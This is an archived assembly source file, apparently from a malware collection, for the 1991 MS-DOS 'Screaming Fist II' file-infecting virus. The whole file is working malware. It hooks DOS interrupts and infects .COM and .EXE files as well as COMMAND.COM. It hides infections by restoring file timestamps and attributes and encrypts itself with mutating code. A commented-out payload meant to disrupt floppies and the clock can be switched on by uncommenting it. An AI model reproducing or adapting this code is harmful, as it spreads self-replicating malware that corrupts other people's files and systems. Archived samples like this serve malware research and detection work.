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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.screamii.asm
vxunderground 5dd4938a52
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2021-01-12 17:58:25 -06:00

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20 KiB
NASM
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ORG 100H
; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc.
; The author assumes no responsibility for any damage incurred
; from the infection caused by this virus
CURTAIN_OPEN EQU $
ARE_WE_RESIDENT?:
CLD ;Do not remove this
CALL DECRYPT_US
NEXT_PLACE:
MOV AH,30H ;Get DOS version
INT 21H
CMP AL,2 ;Lower than 2?
JBE LEAVE_AND_RESTORE ;Yes,exit
XOR AX,AX
DEC AX ;Will return AX=0 if virus is resident
INT 21H
OR AX,AX ;Are we resident?
JZ LEAVE_AND_RESTORE ;If not, install
START:
PUSH DS
XOR AX,AX ;Now make DS=0
MOV DS,AX
DEC WORD PTR [413H] ;Decrease available memory by 1k
LDS BX,[0084] ;Get INT 21 vector and save it
CS:
MOV [BP+OLD_21_BX-NEXT_PLACE],BX
CS:
MOV [BP+OLD_21_ES-NEXT_PLACE],DS
MOV BX,ES ;Get address of our memory block
DEC BX
MOV DS,BX
SUB WORD PTR [0003],80H ;Decrease memory allocated to this program
MOV AX,[0012] ;Decrease total memory
SUB AX,80H ;By 80 paragraphs
MOV [0012],AX ;And save it again
MOV ES,AX ;Also gives us ES=Top of memory
PUSH CS ;CS=DS
POP DS ;
MOV SI,BP ;
SUB SI,OFFSET NEXT_PLACE - 100H ;Offset of code to move
MOV DI,100H ;ES:100h is destination
MOV CX,LENGTH ;Move entire virus
REPZ MOVSB ;Move entire virus to top of memory
MOV DS,CX ;DS=0
CLI ;Disable interrupts
MOV [0086],AX
MOV WORD PTR [0084],OFFSET NEW_21 ;Set INT 21 to our code in high memory
STI ;Enable interrupts
MOV AX,3DFFH ;Code to infect command processor
INT 21H
POP DS ;DS=ES
PUSH DS
POP ES
LEAVE_AND_RESTORE:
;PUSH DS This is just some silly code
;XOR AX,AX That will cause random problems
;MOV DS,AX Like floppies not working
;IN AL,21H Or the system clock stopping
;XOR AL,[046CH]B If you want to use it
;AND AL,0FDH Just remove the semi-colons
;OUT 21H,AL
;POP DS
SUB BP,OFFSET NEXT_PLACE - 100H ;
OR BP,BP
JZ LEAVE_EXE ;A zero BP means we're leaving an .EXE
LEA SI,[BP+ORIGINAL_EIGHT-NEXT_PLACE+4] ;Restore original eight bytes so
;we can RET to them
MOV DI,100H
PUSH DI ;Restore first four bytes
MOVSW
MOVSW
RET ;And return to 100
LEAVE_EXE:
MOV AX,ES ;Use ES for a displacment value
ADD CS:OLD_CS_DISP - 100H,AX ;Fix up the CS value
ADD CS:OLD_SS_DISP - 100H,AX ;And the SS value
MOV SS,CS:offset OLD_SS_WORD - 100h ;Set the correct SS
MOV SP,CS:offset OLD_SP_WORD - 100h ;And the correct SP
JMP $+2 ;Necessary for .EXE's to run right
;DO NOT REMOVE! IF YOU DO, .EXE's WON'T RUN!
DB ,0EAH, ;Makes a far jump to the original .EXE
;Entry point
ORIGINAL_EIGHT EQU $
OLD_IP EQU $
MOV AH,4CH ;.COM file beginning stored here
OLD_CS_DISP EQU $
INT 21H ;
OLD_SS_DISP EQU $
OLD_SS_WORD DW 00 00 ;Save old SS here
OLD_SP EQU $
OLD_SP_WORD DW 00 00 ;And old SP here
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;Here is where the resident part begins in high memory. ;
;On systems with 640k, this is usually at segment 9F80 ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
NEW_21:
PUSHF
CMP AX,0FFFFH ;AX=FFFF means a program is asking
JNZ CONTINUE_ASKING ;If the virus is resident
POPF ;Return to show that virus is resident
INC AX ;Return AX=0 to show that we are resident
IRET
CONTINUE_ASKING: ;Infect files on:
CMP AH,3DH ;Opening
JZ OPENING
CMP AH,4BH ;Running
JZ INFECT_REGULAR
CMP AH,43H ;Chmod
JZ INFECT_REGULAR
CMP AH,56H ;Renaming
JZ INFECT_REGULAR
JMP SHORT OUTTA_HERE
OPENING:
CMP AL,0FFH ;Do we need to infect command processor?
JNZ INFECT_REGULAR ;Nope, continue
PUSH CS ;DS=CS
POP DS
MOV DX,OFFSET COMMAND ;If so, let's use C:\COMMAND.COM
COM_FILE:
CALL DISEASE
POPF
IRET
INFECT_REGULAR:
PUSH AX ;Save AX
CALL CHECK_NAME ;Is DS:DX a .COM or an .EXE file?
OR AX,AX ;A non-zero AX means nope
JNZ OUT_WITH_POP
CALL DISEASE ;Infect file
OUT_WITH_POP:
POP AX ;Restore AX
OUTTA_HERE:
POPF ;Continue with old INT 21
DB ,0EAH, ;Code for a JMP FAR
OLD_21_BX DW 00 00 ;Old Int 21 location is stored here
OLD_21_ES DW 00 00 ;
FUNCTION: ;Used by virus to call old INT 21
PUSHF
CALL DWORD PTR CS:[OLD_21_BX]
RET
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;This portion handles the actual infection process ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
DISEASE:
PUSH AX ;Save all registers
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH DX
ABOVE_2:
MOV CS:[OLD_DS]W,DS ;Save DS
MOV CS:[OLD_ES]W,ES ;Save ES
PUSH CS ;CS=DS=ES
PUSH CS
POP DS
POP ES
MOV AX,3524H ;Get INT 24 address
CALL FUNCTION ;
MOV OFFSET OLD_24_BX,BX ;Save it
MOV OFFSET OLD_24_ES,ES ;
MOV AH,25H ;Now set it to our own code
LEA DX,OFFSET NEW_24 ;Offset of our INT 24 code
CALL FUNCTION ;
MOV AH,36H ;Get disk free space
XOR DL,DL ;And quit if less than virus length
CALL FUNCTION
JC NEED_TO_LEAVE
OR DX,DX
JNZ SET_ATTRIBS
MUL CX
MUL BX
CMP AX,LENGTH
JNB SET_ATTRIBS
NEED_TO_LEAVE:
POP DX ;Clear stack
JMP DONE ;And return
SET_ATTRIBS:
POP DX
PUSH DX
MOV DS,OLD_DS
MOV AX,4300H ;Get the attributes
CALL FUNCTION
MOV CS:[OLD_ATTRIBS],CX ;Save them for later
XOR CX,CX
MOV AX,4301H
CALL FUNCTION ;Set attribs to normal
JC LEAVE_WITH_ATTRIBS ;Leave if error
OPEN_IT:
MOV AX,3D02H ;Open file with Read and Write access
CALL FUNCTION
JC NEED_TO_LEAVE ;Quit on error
PUSH CS ;CS=DS
POP DS
XCHG BX,AX ;Save handle
MOV AH,3FH ;Read BUF_LENGTH bytes into CS:BUFFER
LEA DX,BUFFER ;Offset of buffer
MOV CX,BUF_LENGTH ;Read 'Em
CALL FUNCTION
JC LEAVE_AND_CLOSE ;Quit on error
CMP OFFSET BUFFER,5A4DH ;Is this an .EXE file?
JZ NAIL_EXE ;If so, we gotta do some things
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;This portion handles a .COM infection ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
MOV AL,[BUFFER+3]B ;An indentical byte means this .COM is
INC AL
CMP AL,[BUFFER+1]B ;probably already infected
JNZ CONTINUE_TO_INFECT ;If it isn't, let's get it!
LEAVE_AND_CLOSE:
MOV AH,3EH ;Close this file
CALL FUNCTION
LEAVE_WITH_ATTRIBS:
POP DX
PUSH DX
CALL RESTORE_ATTRIBS ;Restore the attributes if needed
JMP SHORT NEED_TO_LEAVE
CONTINUE_TO_INFECT:
MOV SI,OFFSET BUFFER ;Starting at CS:BUFFER
PUSH CS ;CS=ES
POP ES
LEA DI,OFFSET ORIGINAL_EIGHT;Where to save original eight bytes to
MOVSW ;Save infected files original eight bytes
MOVSW
MOV AX,4202H ;Send RW pointer to end of file
XOR CX,CX
XOR DX,DX
CALL FUNCTION
OR DX,DX ;A non-zero DX means too big of a file
JNZ LEAVE_AND_CLOSE
CMP AX,300 ;Don't infect files less than 300 bytes
JB LEAVE_AND_CLOSE
CMP AX,64000 ;Or bigger than 64000
JA LEAVE_AND_CLOSE
SUB AX,3 ;Use the pointer as our jump code
MOV [BUFFER]B,0E9H ;Code for absolute JMP
MOV [BUFFER+1],AX ;This sets up the .COM so we can tell
DEC AL ;If it's infected next time we see it
MOV [BUFFER+3],AL
JMP SHORT ATTACH ;Continue past .EXE infector
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
;This portion handles infecting all .EXE files ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
NAIL_EXE:
CMP WORD PTR [BUFFER+14H],1 ;Offset of IP reg. Is this .EXE infected?
JZ LEAVE_AND_CLOSE ;Leave if already infected
GET_EXE:
MOV AX,[BUFFER+4] ;EXE size in 512 byte pages
MOV CX,0200H ;Multiply by 512 to get filesize
MUL CX ;
PUSH AX ;Save AX, AX=Filesize low byte
PUSH DX ;Save DX, DX=Filesize high byte
MOV CL,04 ;
ROR DX,CL ;
SHR AX,CL ;
ADD AX,DX ;
SUB AX,[BUFFER+8] ;Size of header in 16 byte paragraphs
PUSH AX ;AX is new code segment displacement
MOV AX,[BUFFER+14H] ;Get old IP register
MOV [OLD_IP],AX ;Save it here
MOV AX,[BUFFER+16H] ;Get old code segment displacement
ADD AX,10H ;Add 10 to it
MOV [OLD_CS_DISP],AX ;Save it here
MOV AX,[BUFFER+14] ;Get old stack segment
ADD AX,10H ;Adjust it for later
MOV [OLD_SS_DISP],AX ;And save it here
MOV AX,[BUFFER+16] ;Get stack pointer
MOV [OLD_SP],AX ;And save it here
POP AX ;Restore AX
MOV [BUFFER+16H],AX ;New code segment
MOV [BUFFER+14],AX ;New SS=CS
MOV [BUFFER+16],0FFFFH ;SP = End of viral code
MOV WORD PTR [BUFFER+14H],1 ;New IP register
ADD WORD PTR [BUFFER+4],2 ;Size of file in 512 byte pages
POP CX
POP DX
MOV AX,4200H ;Move file pointer
CALL FUNCTION
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
; Attach our viral code to the target file ;
; This portion is shared by the .EXE and the .COM infectors to be more ;
; efficient ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
ATTACH:
MOV AX,5700H ;Get the file time and date
CALL FUNCTION
PUSH CX ;And save them for later
PUSH DX
INFECT:
XOR AX,AX
MOV DS,AX
MOV AX,[046CH] ;Get a random encryption key from timer
MOV DL,AH ;Save part of it in DL
PUSH CS ;DS=CS
POP DS ;
MOV ENC_BYTE,AL ;Save keys in our code
MOV ENC_BYTE_2,DL
PUSH CS ;CS=ES
POP ES
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
;This section provides a semi-random encryption code mutation based on our <20>
;encryption keys. Look at each line for a desc. of what it does to the code. <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
TEST AL,1
JZ SKIP_1
XOR WORD PTR ENC_SWITCH,0ABDEH ;MOV SI,BP <=> PUSH BP POP SI
SKIP_1:
TEST DL,1
JZ SKIP_2
XOR BYTE PTR [ENC_SWITCH_2 + 1],012H ;OR DL,AL <=> XOR AL,DL
SKIP_2:
TEST AL,2
JZ SKIP_4
XOR BYTE PTR [ENC_SWITCH_4 + 2],010H
SKIP_4:
TEST DL,2
JZ SKIP_5
XOR BYTE PTR [ENC_SWITCH_5 + 2],010H
SKIP_5:
TEST AL,3
JZ SKIP_6
XOR BYTE PTR [ENC_SWITCH_1 + 1],08H
SKIP_6:
TEST DL,3
JZ SKIP_7
XOR BYTE PTR [ENC_SWITCH_3 + 1],08H
SKIP_7:
TEST AL,4
JZ SKIP_8
XOR BYTE PTR [ENC_SWITCH_6 + 1],08H
SKIP_8:
MOV SI,CURTAIN_OPEN
MOV DI,DATA_END
PUSH DI
PUSH DI
MOV CX,LENGTH
REPZ MOVSB
POP SI
ADD SI,4
CALL ENCRYPT_US
POP DX
MOV AH,40H ;Code for handle write
MOV CX,LENGTH ;Length of our viral code
CALL FUNCTION ;Write all of virus
MAKE_HEADER:
MOV AX,4200H ;Set file pointer to beginning
XOR CX,CX ;Zero out CX
XOR DX,DX ;Zero out DX
CALL FUNCTION
MOV AH,40H ;Write to file
MOV DX,OFFSET BUFFER ;Starting at BUFFER
MOV CX,BUF_LENGTH ;Write BUF_LENGTH bytes
CALL FUNCTION
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
; This restores the files original date and time ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
RESTORE_TIME:
MOV AX,5701H ;Restore original date and time
POP DX ;To what was read in earlier
POP CX ;
CALL FUNCTION ;
JMP LEAVE_AND_CLOSE ;Leave
DONE:
MOV DX,OFFSET OLD_24_BX W ;Move the old INT 24's address
MOV DS,OFFSET OLD_24_ES W ;so we can restore it
MOV AX,2524H ;Restore it
CALL FUNCTION
POP ES ;Restore all registers
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
RET ;And quit
RESTORE_ATTRIBS:
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
; This routine restores the files original attributes. ;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
MOV AX,4301H ;Restore original attribs
MOV CX,[OLD_ATTRIBS] ;To what was read in earlier
MOV DS,OLD_DS
CALL FUNCTION
RET
NEW_24:
XOR AX,AX ;Any error will simply be ignored
STC ;Most useful for write protects
IRET
